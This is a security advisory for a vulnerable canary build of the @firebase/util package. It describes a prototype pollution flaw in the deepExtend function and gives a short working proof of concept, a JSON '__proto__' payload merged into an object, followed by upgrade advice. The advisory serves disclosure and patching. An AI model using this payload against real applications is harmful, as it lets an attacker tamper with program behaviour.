@firebase/util/.../util@0.3.4-canary.79dafb8d8 vulnerabilities

@firebase/util is a wrapper of some Webchannel Features for the Firebase JS SDK.

Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the deepExtend function within the DeepCopy.ts file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

const util = require('@firebase/util');
var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');

const a = {
    nest: {
      number: 1,
      string: '1',
      object: { key: '1' },
      date: new Date(1),
      nest: {
        a: 1
      }
    },
  };

var result = util.deepExtend(a,payload);
console.log({}.polluted);

Upgrade @firebase/util to version 0.3.4 or higher.